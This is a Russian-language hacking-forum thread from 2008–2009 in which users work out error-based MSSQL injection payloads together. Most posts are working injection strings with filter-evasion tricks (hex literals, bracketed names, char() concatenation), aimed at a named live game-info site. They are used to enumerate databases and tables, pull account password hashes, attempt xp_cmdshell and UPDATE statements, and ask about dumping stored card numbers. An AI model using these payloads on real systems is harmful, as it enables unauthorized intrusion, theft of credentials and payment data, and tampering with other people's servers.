PDA

Просмотр полной версии : mssql inj help


-=megahertz=-
22.03.2008, 13:58
При таком запросе
"1+or+1=(SELECT+1+TOP+TABLE_NAME+FROM+INFORMATION_S CHEMA.TABLES)--"
показывает
Incorrect syntax near the keyword 'TOP'

в чем моя ошибка?

~X3RiX~
22.03.2008, 14:10
юзай

http://pentestmonkey.net/blog/mssql-sql-injection-cheat-sheet/

guest3297
22.03.2008, 14:12
"1+or+1=(SELECT+1+max(TABLE_NAME)+FROM+INFORMATION_ SCHEMA.TABLES)--"

Scipio
22.03.2008, 15:08
можно проинжектить запрос вобще без использования пробелов:
or(1=(select(max(table_name))from[information_schema].tables))

[ cash ] ;)

-=megahertz=-
22.03.2008, 15:31
спасиб онотолий, помогло

-=megahertz=-
22.03.2008, 16:24
снова я
1+or+1=((select((table_name))from[information_schema].tables+where+TABLE_NAME+NOT+IN+('syssegments')))--
выводит
'syssegments'
делаю так
1+or+1=((select((table_name))from[information_schema].tables+where+TABLE_NAME+NOT+IN+('syssegments','sy ssegments')))--
выводит
'syssegmentssyssegments'
в след запросе выводит уже
'syssegmentssyssegmentssyssegmentssyssegments'
и т.д.

ReVOLVeR
22.03.2008, 16:39
TABLE_NAME+NOT+IN+('syssegments','sy ssegments','syssegmentssyssegments'...итд)))--
таким образом узнаёш все таблицы))
патом также только для столбцов и формеруеш запрос к бд))

-=megahertz=-
22.03.2008, 16:42
я знаю что так надо
просто проблема в том что он просто делат так
syssegments
syssegmentssyssegments
syssegmentssyssegmentssyssegmentssyssegments
syssegmentssyssegmentssyssegmentssyssegmentssysseg mentssyssegments
...
так не должно быть

Scipio
22.03.2008, 16:42
-=megahertz=-, покажи полностью, результат выполнения запроса

ReVOLVeR
22.03.2008, 16:47
разграничь при помощи ';'

guest3297
22.03.2008, 16:49
Используй в not+in 0x + hex кодирование.

-=megahertz=-
22.03.2008, 16:57
вот запрос
id=1+or+1=((select((table_name))from[information_schema].tables+where+TABLE_NAME+NOT+IN+('syssegments','sy ssegmentssyssegments','syssegmentssyssegmentssysse gments')))--

ответ
Warning: mssql_query() [function.mssql-query]: message: Invalid column name 'syssegmentssyssegmentssyssegmentssyssegmentssysse gmentssyssegments'. (severity 16)
Warning: mssql_query() [function.mssql-query]: Query failed
Warning: mssql_fetch_assoc(): supplied argument is not a valid MS SQL-result resource

Scipio
22.03.2008, 17:05
1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_S CHEMA.TABLES+where+TABLE_NAME+NOT+IN+((SELECT+TOP+ 1+TABLE_NAME+FROM+INFORMATION_S CHEMA.TABLES))--

потом

1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_S CHEMA.TABLES+where+TABLE_NAME+NOT+IN+((SELECT+TOP+ 2+TABLE_NAME+FROM+INFORMATION_S CHEMA.TABLES))--

потом

1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_S CHEMA.TABLES+where+TABLE_NAME+NOT+IN+((SELECT+TOP+ 3+TABLE_NAME+FROM+INFORMATION_S CHEMA.TABLES))--

и т.д.

ReVOLVeR
22.03.2008, 17:06
message: Invalid column name имя калонки неверно...
'syssegmentssyssegmentssyssegmentssyssegmentssysse gmentssyssegments'-хм мож админы извращенцы так таблицы называть??

Scipio
22.03.2008, 17:08
ReVOLVeR, фигню пишешь, просто при обработке запроса скриптом, из него удаляются кавычки и скорее всего запятые

-=megahertz=-
22.03.2008, 17:16
попробовал то что мне скаща scipio
ответ
Warning: mssql_query() [function.mssql-query]: message: Incorrect syntax near the keyword 'TOP'. (severity 15)
Warning: mssql_query() [function.mssql-query]: Query failed
Warning: mssql_fetch_assoc(): supplied argument is not a valid MS SQL-result resource

Scipio
22.03.2008, 17:45
тогда делай:
(select(max(table_name))from[information_schema].tables+where+table_name<>0x7379737365676D656E7473)

потом:
(select(max(table_name))from[information_schema].tables+where+table_name<>0x7379737365676D656E7473+and+table_name<>захексенный результат)

и т.д. добавляй and`ы

-=megahertz=-
22.03.2008, 18:45
вобщем в hex выводит все время только
(0x7379737365676D656E7473)syssegments

Scipio
22.03.2008, 18:55
вобщем в hex выводит все время только
(0x7379737365676D656E7473)syssegments

напиши запрос который используешь и полностью ошибку

-=megahertz=-
22.03.2008, 19:00
1+or+1=(select(max(table_name))from[information_schema].tables+where+table_name+0x7379737365676D656E7473+ and+table_name+0x7379737365676d656e7473+and+table_ name+0x7379737365676d656e7473+and+table_name+0x737 9737365676d656e7473)--

вместо <> поставил + так как выводил ерор

Warning: mssql_query() [function.mssql-query]: message: Line 5: Incorrect syntax near '0x7379737365676d656e7473'. (severity 15)
Warning: mssql_query() [function.mssql-query]: message: Line 5: Incorrect syntax near '0x7379737365676d656e7473'. (severity 15)
Warning: mssql_query() [function.mssql-query]: Query failed
Warning: mssql_fetch_assoc(): supplied argument is not a valid MS SQL-result resource

-=megahertz=-
22.03.2008, 19:01
если не правильно не пинайте))

Scipio
22.03.2008, 19:07
о боги, боги мои, яду мне, яду!!!
ты вот понимаешь для чего тут нужен знак неравенства <>?
вобщем так тогда делай:
1+or+1=(select(max(table_name))from[information_schema].tables+where+table_name+not+in+(0x7379737365676D6 56E7473))--

-=megahertz=-
22.03.2008, 19:29
message: Line 5: Incorrect syntax near '56E7473'. (severity 15)
Warning: mssql_query() [function.mssql-query]: message: The floating point value '56E7473' is out of the range of computer representation (8 bytes). (severity 15)
Warning: mssql_query() [function.mssql-query]: message: Line 5: Incorrect syntax near '56E7473'. (severity 15)

Scipio
22.03.2008, 19:35
-=megahertz=-, ктулху?
пробел убери в 0x7379737365676D6 56E7473

-=megahertz=-
22.03.2008, 19:39
вывод результата снова тот же что и в начале)
Warning: mssql_query() [function.mssql-query]: message: Syntax error converting the nvarchar value 'syssegments' to a column of data type int. (severity 16)
Warning: mssql_query() [function.mssql-query]: Query failed

Dima-k17
23.03.2008, 01:40
А может все-таки линку в студию?:)

-=megahertz=-
23.03.2008, 09:14
можно с кем нибудь лично по асе пообщаться?

guest3297
23.03.2008, 13:16
можно если найдешь мою асю.

-=megahertz=-
23.03.2008, 14:55
мож через ЛС поделишся своей асей?

-=megahertz=-
07.05.2008, 10:05
вобщем вот вам линка... долго дрючил свой мозг так и не доходит
надеюсь на вашу помощь

http://trot.telenet.ru/la2info/?part=npcs&id=-35332+or+1=(select(max(table_name))from[information_schema].tables+where+table_name+not+in+(0x7379737365676D6 56E7473))--

aka PSIH
07.05.2008, 11:41
http://trot.telenet.ru/la2info/?part=npcs&id=-35332+or+1=(select+top+1+table_name+from+informati on_schema.tables+where+table_name+not+in+(select+t op+1+table_name+from+information_schema.tables))--
во втором подзапросе перебираем TOP 1,2,3 ...

вот таблички которые я вытащил:

castle_names
manor_crop
manor_procure
henna
exp
item_names
locations
items
manor_manufacture
manor_procure
manor_crop
npc_ability
npc_skills
npc_names
npc_locations
npcs
quests
recipe_ingredients
quest_descriptions
recipes
sa_bonus
sa
set_items
skill_enchant
skill_acquire
skill_names
skills
stats
special_shops
sysconstraints
syssegments
sets

groundhog
07.05.2008, 11:43
Там просто стоят фильтры... Которые вырезают кавычки, запятые, знаки сравнения, слово SELECT в верхнем регистре... Ну в общем фильтры они и есть фильтры, правда в нашем случае они вполне обходимые:

http://trot.telenet.ru/la2info/?part=npcs&id=-35332+OR+1=@@version--
http://trot.telenet.ru/la2info/?part=npcs&id=-35332+OR+1=(select+top+1+table_name+from+informati on_schema.tables)--
http://trot.telenet.ru/la2info/?part=npcs&id=-35332+OR+1=(select+top+1+table_name+from+informati on_schema.tables+where+table_name!="henna")--
http://trot.telenet.ru/la2info/?part=npcs&id=-35332+OR+1=(select+top+1+table_name+from+informati on_schema.tables+where+table_name!="henna"+and+table_name!="castle_names")--
http://trot.telenet.ru/la2info/?part=npcs&id=-35332+OR+1=(select+top+1+table_name+from+informati on_schema.tables+where+table_name!="henna"+and+table_name!="castle_names"+and+table_name!="classes")--


Обрати внимание, что перечисление таблиц делается не через привычный NOT IN, так как запятая вырезается, а через сцепление условий имя_поля!='значение1' and имя_поля!='значение2' and ...

Вот имена таблиц которые удалось вытащить (это не все):

henna
castle_names
classes
drops
dtproperties
exp
fish_items
fish_params
item_names
items
locations

В общем дерзай... Просто обход делай не через множество, а через сцепление условий, пускай это будет долго, но зато в обход фильтрации... В принципе можно отсеивать записи пачками используя для каждой ветки and условие NOT LIKE "...". Обрати внимание, что одинарные кавычки тоже вырезаются...

geezer.code
09.05.2008, 22:20
гдето уже видел такой пример но ищо раз повторю
имена таблиц можно перебирать подзапросом
меняя значение 2го топа: top 1, top 2 итд

http://trot.telenet.ru/la2info/?part=npcs&id=-35332'+OR+1=(select+top+1+table_name+from+informat ion_schema.tables+where+table_name+not+in+(select+ top+2+table_name+from+information_schema.tables))--



вот мы и обошлись без кавычек

NamahS
27.06.2008, 03:57
ААФигеть вы умные %)
-=megahertz=-, ну и как ВСЁ удалось ?
1)Я так понимаю, что в этой базе нет таблицы accounts....
2)Выводить сразу большой список не выйдет?
3)А возможно сделать запрос к другой базе на этом же серве(например master)?
Ну киньте плиз пример запроса для чтения полей и их значений в этих таблицах???
4)возможно ли как-то выполнить такой запрос
?part=npcs&id=-35332+OR+1=(exec+master..xp_cmdshell+”ipconfig )
Что я не так делаю?
5)Может есть хотя бы ссылка где это обсуждалось подробно?
6)Можно ли вообще узнать список всех баз на этом сервере как-нибудь(master...northwind и т.д.)?

...плиз...

aka PSIH
27.06.2008, 10:19
1. >нет таблицы accounts
2. >не выйдет. -> перебирать top 1,2,3...
3. почему нет?
http://trot.telenet.ru/la2info/?part=npcs&id=-35332+or+1=(select+top+1+name+from+master..sysdata bases)--
4. -
5.
http://forum.antichat.ru/showthread.php?t=30501
http://forum.antichat.ru/threadedpost747381.html
http://forum.antichat.ru/thread46016.html
+ поиск по форуму
6. http://trot.telenet.ru/la2info/?part=npcs&id=-35332+or+1=(select+db_name(1))--
http://trot.telenet.ru/la2info/?part=npcs&id=-35332+or+1=(select+db_name(2))--
и т.д ...

вроде так, (если я правильно понял твои вапросы)...

p.s: не надо мне в пм спамить... ;)

NamahS
28.06.2008, 03:27
Мэни-мени сенкс...извини за ПМ.

-=megahertz=-
03.07.2008, 11:17
ААФигеть вы умные %)
-=megahertz=-, ну и как ВСЁ удалось ?

все отлично удалось! после этого админу рассказал все) если он не дурак то поправил)

NamahS
05.07.2008, 11:17
А я не расскажу;))
Нашел ссылки на снятие дампа, но ни одна не работает...Есть рабочая???
И вопрос про exec не раскрыт...)
...через ; надо делать?...не получается что-то...

gisTy
05.07.2008, 12:07
всмысле сссылки про снятие дампа? ты нашел раскрученные инъкции но слить инфу не можешь или что?

NamahS
05.07.2008, 13:14
Меня интересует Реализация скрипта для просмотра и дампинга баз, через mssql-inj

aka PSIH
07.07.2008, 09:27
3) to cash Ведь ты выкладывал где-то Удаленный дампер через иньекцию...плиз дай ссылку...ПЛИЗ)))

https://forum.antichat.ru/thread24918.html
https://forum.antichat.ru/thread28461.html
MSSQL Extractor (http://hack-shop.org.ru/tools-mssql-exractor)

NamahS
07.07.2008, 12:51
to aka PSIH две первые ссылки для MySQL...мне нужно для MSSQL...

aka PSIH
07.07.2008, 12:59
to aka PSIH две первые ссылки для MySQL...мне нужно для MSSQL...
они работают и с mysql и с mssql.. ;) читай маны...

NamahS
13.07.2008, 13:52
Ну будьте другами, помогите пожалуйста.
Я нифига не въезжаю...
В базе данных la2info..sa_names есть всего три колонки (id(int),name(varchar),desc(varchar))
Я делаю запрос =(select+top+1+name+from+la2info..sa_names)--
запрос в ошибке возвращает первую запись в таблице.
А вот запрос =(select+top+1+id+from+la2info..sa_names)--
не возвращает вообще ничего(ошибки преобразования в int нет???).
Пробую так =(select+top+1+cast(id+as+nvarchar)+from+la2info.. sa_names)--
тоже ничего.
Можно попробовать не cast, а convert, например =(select+top+1+convert(nvarchar,id)+from+la2info.. sa_names)--
Но запятая вырезается даже если использовать %2C и выходит convert(nvarcharid).....
Что придумать если посмотреть можно только поля varchar (через ошибку преобразования в int), а нужны и другие типы?

to -=megahertz=- Как делал-то колись... ;)

mister
16.07.2008, 15:49
Ну будьте другами, помогите пожалуйста.
Я нифига не въезжаю...
В базе данных la2info..sa_names есть всего три колонки (id(int),name(varchar),desc(varchar))
Я делаю запрос =(select+top+1+name+from+la2info..sa_names)--
запрос в ошибке возвращает первую запись в таблице.
А вот запрос =(select+top+1+id+from+la2info..sa_names)--
не возвращает вообще ничего(ошибки преобразования в int нет???).
Пробую так =(select+top+1+cast(id+as+nvarchar)+from+la2info.. sa_names)--
тоже ничего.
Можно попробовать не cast, а convert, например =(select+top+1+convert(nvarchar,id)+from+la2info.. sa_names)--
Но запятая вырезается даже если использовать %2C и выходит convert(nvarcharid).....
Что придумать если посмотреть можно только поля varchar (через ошибку преобразования в int), а нужны и другие типы?

to -=megahertz=- Как делал-то колись... ;)
=(select+top+1+cast(id+as+nvarchar)%2Bchar(97)+fro m+la2info..sa_names)-- попробуй так

guest3297
16.07.2008, 17:07
NamahS
Что придумать если посмотреть можно только поля varchar (через ошибку преобразования в int), а нужны и другие типы?
cast (name as varchar)

подробнее тут
http://hack-shop.org.ru/board/forumdisplay.php?f=18

NamahS
17.07.2008, 06:07
=(select+top+1+cast(id+as+nvarchar)%2Bchar(97)+fro m+la2info..sa_names)-- попробуй так
ДА!ДА!ДА! :o
А я блин зациклился на convert(nvarchar,id+"a"), а запятая вырезается....короче зациклило на прямолинейном мышлении :) МЭНИ МЭНИ СЕНКС.
Лови репу)

']NamahS

cast (name as varchar)

подробнее тут
http://hack-shop.org.ru/board/forumdisplay.php?f=18
Тоже огромное спасибо! При приведении в nvarchar одни вопросы вылазили в бинарном типе. При varchar возвращает крякозяблы. Я так понимаю их надо в любой ХЕКС-редактор загнать и взять уже оттуда? Или есть функция которой сразу в запросе можно вернуть в 16-чной кодировке? Сорри не силен в функциях MSSQL.

s1nn3r
17.07.2008, 08:36
кажись линейка на сервере том , когда то подобным занимался немного. веб обвязка и ява сервер используют общую базу ...сервер не корейский , а фришный , поставляеться с обвязкой (сборок серверов в природе существует много ) ...но структура таблиц у них отличаеться не координально ...скачай дистриб сервера , загляни в таблицы , пару обвязок найди до кучи , и мозаика сложиться ... ключевое слово в поисковике - Создание сервера LineAge ;)

NamahS
17.07.2008, 13:35
кажись линейка на сервере том
:))) Ясное дело линейка, только не на яве, а офф и на MSSQL. :) Все уже сложилось, остались только пробелы в знаниях которые надо заполнить)))
Проблема в том, что при считывании password as varchar возвращается что-то навроде 5ъЎ™ёЄ 9 ††KСчч. Я конечно могу руками это перевести в ХЕКС, но где-то видел функцию, которая переводит это на лету...

NamahS
19.07.2008, 05:06
А кто-нибудь знает, как расшифровать ХЭШИ, которые в MSSQL от Lineage C6(interlude)?
Или на С++ переписать код шифрования?
function encrypt($str)
{
$key = array();
$dst = array();
$i = 0;
$nBytes = strlen($str);
while ($i < $nBytes)
{
$i++;
$key[$i] = ord(substr($str, $i - 1, 1));
$dst[$i] = $key[$i];
}
$rslt = $key[1] + $key[2]*256 + $key[3]*65536 + $key[4]*16777216;
$one = $rslt * 213119 + 2529077;
$one = $one - intval($one/ 4294967296) * 4294967296;

$rslt = $key[5] + $key[6]*256 + $key[7]*65536 + $key[8]*16777216;
$two = $rslt * 213247 + 2529089;
$two = $two - intval($two/ 4294967296) * 4294967296;

$rslt = $key[9] + $key[10]*256 + $key[11]*65536 + $key[12]*16777216;
$three = $rslt * 213203 + 2529589;
$three = $three - intval($three/ 4294967296) * 4294967296;

$rslt = $key[13] + $key[14]*256 + $key[15]*65536 + $key[16]*16777216;
$four = $rslt * 213821 + 2529997;
$four = $four - intval($four/ 4294967296) * 4294967296;

$key[4] = intval($one/16777216);
$key[3] = intval(($one - $key[4] * 16777216) / 65535);
$key[2] = intval(($one - $key[4] * 16777216 - $key[3] * 65536) / 256);
$key[1] = intval(($one - $key[4] * 16777216 - $key[3] * 65536 - $key[2] * 256));

$key[8] = intval($two/16777216);
$key[7] = intval(($two - $key[8] * 16777216) / 65535);
$key[6] = intval(($two - $key[8] * 16777216 - $key[7] * 65536) / 256);
$key[5] = intval(($two - $key[8] * 16777216 - $key[7] * 65536 - $key[6] * 256));

$key[12] = intval($three/16777216);
$key[11] = intval(($three - $key[12] * 16777216) / 65535);
$key[10] = intval(($three - $key[12] * 16777216 - $key[11] * 65536) / 256);
$key[9] = intval(($three - $key[12] * 16777216 - $key[11] * 65536 - $key[10] * 256));

$key[16] = intval($four/16777216);
$key[15] = intval(($four - $key[16] * 16777216) / 65535);
$key[14] = intval(($four - $key[16] * 16777216 - $key[15] * 65536) / 256);
$key[13] = intval(($four - $key[16] * 16777216 - $key[15] * 65536 - $key[14] * 256));

$dst[1] = $dst[1] ^ $key[1];

$i=1;
while ($i<16)
{
$i++;
$dst[$i] = $dst[$i] ^ $dst[$i-1] ^ $key[$i];
}

$i=0;
while ($i<16)
{
$i++;
if ($dst[$i] == 0)
{
$dst[$i] = 102;
}
}

$encrypt = "0x";
$i=0;

while ($i<16)
{
$i++;
if ($dst[$i] < 16)
{
$encrypt = $encrypt . "0" . dechex($dst[$i]);
}
else
{
$encrypt = $encrypt . dechex($dst[$i]);
}
}
return $encrypt;
}

guest3297
21.07.2008, 04:59
Забейте вы на эту линейку. И не забывай если не можешь узнать можно сменить.

NamahS
21.07.2008, 10:04
']Забейте вы на эту линейку. И не забывай если не можешь узнать можно сменить.
Ну подскажи плиз, не могу update я сделать...
для примера:
такой запрос и ему подобные проходят
/?part=items&id=-35332+OR+1=(select+top+1+cast(password+as+varchar) %2Bchar(97)+from+lin2db..user_auth+where+account=% 22login%22)--
не могу прикрутить к нему второй ((select+top+2+cast(password+as+varchar)%2Bchar(97 )+from+lin2db..user_auth)+where+account=%22login%2 2)-- для перебора ...чтобы и перебор был и условие сохранялось?
Где я ошибаюсь в запросе UPDATE ?
/?part=items&id=-35332+OR+1=(update+lin2world..user_data+set+hp=%22 202.001%22+where+char_name=%22lalala%22)--......????
Знаки ; , ' вырезаются:(
И еще вопрос, чем можно php функцию intval заменить на C++ ? Весь ИНЕТ перерыл кажется. Не нашел ничего. Я так понял, что в ПХП она округляет значение до целочисленного, а в С++ если пользоваться целочисленным типом int, то он просто откидывает дробную часть %)...т.е. 1.6 = 1

30han
28.07.2008, 04:54
Возможна ли sql-inj на сервере, где не используется переменная id(в url нет обращения к базе через переменную)? Если да, то как обнаружить возможность injection?

-=megahertz=-
30.07.2008, 00:49
Ну подскажи плиз, не могу update я сделать...
для примера:
такой запрос и ему подобные проходят
/?part=items&id=-35332+OR+1=(select+top+1+cast(password+as+varchar) %2Bchar(97)+from+lin2db..user_auth+where+account=% 22login%22)--
не могу прикрутить к нему второй ((select+top+2+cast(password+as+varchar)%2Bchar(97 )+from+lin2db..user_auth)+where+account=%22login%2 2)-- для перебора ...чтобы и перебор был и условие сохранялось?
Где я ошибаюсь в запросе UPDATE ?
/?part=items&id=-35332+OR+1=(update+lin2world..user_data+set+hp=%22 202.001%22+where+char_name=%22lalala%22)--......????
Знаки ; , ' вырезаются:(
И еще вопрос, чем можно php функцию intval заменить на C++ ? Весь ИНЕТ перерыл кажется. Не нашел ничего. Я так понял, что в ПХП она округляет значение до целочисленного, а в С++ если пользоваться целочисленным типом int, то он просто откидывает дробную часть %)...т.е. 1.6 = 1

чувак скажи конкретно что ты хочешь вытащить из базы?!
или ты просто от нефиг делать его этот сайт пытаешь?

NamahS
30.07.2008, 07:01
чувак скажи конкретно что ты хочешь вытащить из базы?!
Я хочу повысить уровень своих знаний !!! Это моя лабораторная работа :) Во как сказал... :)
Дошел до вытаскивания ХЭШей ГМ-ов и т.д....набросал для себя програмку, которая эти ХЭШИ подбирает...
Не могу осилить, как сделать так, чтобы выбирать не первое, а второе, третье ... значение + УСЛОВИЕ.
Например: /?part=items&id=-35332+OR+1=(select+top+1+cast(account_name+as+varc har)%2Bchar(97)+from+lin2world..user_data+where+bu ilder=1)--
В этом запросе вывожу первый аккаунт где builder=1...рыдаю :) не могу вывести второй,третий... при том же условии builder=1.
Еще не могу понять, как можно здесь сделать UPDATE и EXEC....чего только не пробовал....где-то недопонимаю...вот и прошу помощи примерами, чтоб мозаика сложилась :)
И еще, так-как не силен в функциях MSSQL, то спрашиваю, есть ли функция наподобие cast(значение+as+varchar), только чтоб возвращала значения не в ASCII или там varchar, а в 16-ричном виде(ХЕКСе)...ну например для тех же ХЭШЕЙ???

durito
30.07.2008, 09:35
попробуй так:

/?part=items&id=-35332+OR+1=(select+top+1+cast(account_name+as+varc har)%2Bchar(97)+from+lin2world..user_data+where+ca st(account_name+as+varc har)%2Bchar(97)+not+in+(select+top+2+cast(account_ name+as+varc har)%2Bchar(97)+from+lin2world..user_data))--

единственная проблема во втором select+top+2 более 2К занчений лучше не вводить.

cyberia
06.08.2008, 09:04
задам тут свой вопрос.

таблица NAMES содержит поля:
---
EXP_MO
EXP_YR
CARD_NUM
---

EXP_MO и EXP_YR успешно выводятся запросом:
1%20or%201=(select+TOP+1+cast(EXP_MO+as+nvarchar)% 2Bchar(97)+FROM+NAMES)--

а вот CARD_NUM при таком же запросе просто перезагружает страницу без ошибки.
почему? могут быть в таблицах защищённые поля, которые не выводятся?

с полями NM_USERID и NM_PASSWORD такая же фигня происходит. хотя другие поля с именами, адресами и прочим выводятся без проблем.

1ten0.0net1
06.08.2008, 13:35
У полей разный тип и хотя ты делаешь cast, они вместе могут не выводиться. А отдельно выводится номер карты?

cyberia
06.08.2008, 17:52
У полей разный тип и хотя ты делаешь cast, они вместе могут не выводиться. А отдельно выводится номер карты?

нет, не выводится. даже

1%20or%201=(select+TOP+1+cast(len(CARD_NUM)+as+nva rchar)% 2Bchar(97)+FROM+NAMES)--

не выводится. и длинна паролей так же не выводится. хотя длинна других полей таким образом выводится.

cyberia
07.08.2008, 02:47
Разобрался. Просто не все CARD_NUM заполнены. Надо выбирать только NOT NULL.

А карты оказались зашифрованы. Выглядят вот так: KmSrs8ltGQ8WyhlV71dY6$Wl0aaAD

реально отсюда как-то получить строку из 16 цифр? :)

1ten0.0net1
07.08.2008, 15:35
Советую искать другие таблицы, например, orderd_logs и т. п. Там, обычно, plain-text.

Kissa2k
22.03.2009, 20:20
У меня тоже странная проблема..
Такой запроc 1 or 1=(select top 1 table_name from information_schema.tables)--
выдает ошибку Incorrect syntax near the keyword 'top'.
а при запросе
1 or(1=(select(max(table_name))from[information_schema].tables))--
получаю
An aggregate may not appear in the WHERE clause unless it is in a subquery contained in a HAVING clause or a select list, and the column being aggregated is an outer reference.

Shadow6120
24.03.2009, 11:00
А что если пишет
Incorrect syntax near the keyword 'or'??

Kissa2k
24.03.2009, 21:48
Забыл в конце поставить комментарий?

Shadow6120
25.03.2009, 16:08
Kissa2k, нет конечно, меня интересует, можно ли сделать запрос, дающий тоже самое что и
-1+OR+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_S CHEMA.TABLES)--
но без использования OR

Kissa2k
25.03.2009, 20:36
Можно использовать UNION, но тогда придется подбирать кол-во столбцов в запросе.

Shadow6120
26.03.2009, 14:38
Kissa2k, union тоже фильтруется((((

Jokester
26.03.2009, 15:55
Shadow6120
Ты и в самом деле думаешь. что фильтруется "or" ?

Ошибку переведи нормально
Incorrect syntax near the keyword 'or'

near--около

Добавь кавычку,скобку, другую кавычку, смени плюсы, нужное подчеркнуть

Gerceg
30.03.2009, 11:44
Были такие же траблы,решил с помощью вас